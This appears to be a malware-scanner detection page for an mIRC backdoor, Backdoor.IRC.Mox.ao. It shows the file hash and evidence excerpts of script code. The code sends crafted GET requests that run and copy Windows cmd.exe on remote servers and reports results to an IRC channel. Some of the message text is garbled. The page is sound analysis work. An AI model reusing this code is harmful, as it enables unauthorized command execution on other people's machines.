Benign Download

Backdoor.IRC.Mox.ao

Reads an mIRC socket lineReferences Windows cmd.exe interpreter

SHA-25619163feef2f663f377f4d915968af2c6f802885185c786720ecdaca64c1df750

Evidence

References Windows cmd.exe interpreter lines 11–15

107… ip,/c+dir+c:\)
set %ftpcopy %ftp $+ /c+copy+c:\winnt\system32\cmd.exe+az.exe
set %ftp1 $deltok(%ftp,2-,47) | set %ftp2 $left(%ftp1,2)
if (%ftp2 == ..) { set %ftp / }
else { set %ftp / $+ %f …

Access-is-denied response phrase lines 20–32

14… r > 0) {  halt }
sockwrite -nt $sockname GET %ftpcopy
22}
23on *:sockread:aftp: {
sockread -f %ftp1
if (1 file(s) copied isin %ftp1) { 
  .timeraftp.Tout off
  .timeraftp.Tout2 1 1000 aftp.Tout2
  /msg %chan.for.join 14(4��������14)0:14(15���� - cmd.exe14)0:14(15���������� �������14)0:14(15 $+ %ip $+ %ftp $+ /c+dir+c:\ $+ 14)
  set %tfp2 0 |  ftpscript 
}
if (Access is denied isin %ftp1) { set %aftp.stat off | aftp.start | /msg %chan.for.join 14(4��������14)0:14(������ ��������14)  }
32}
 …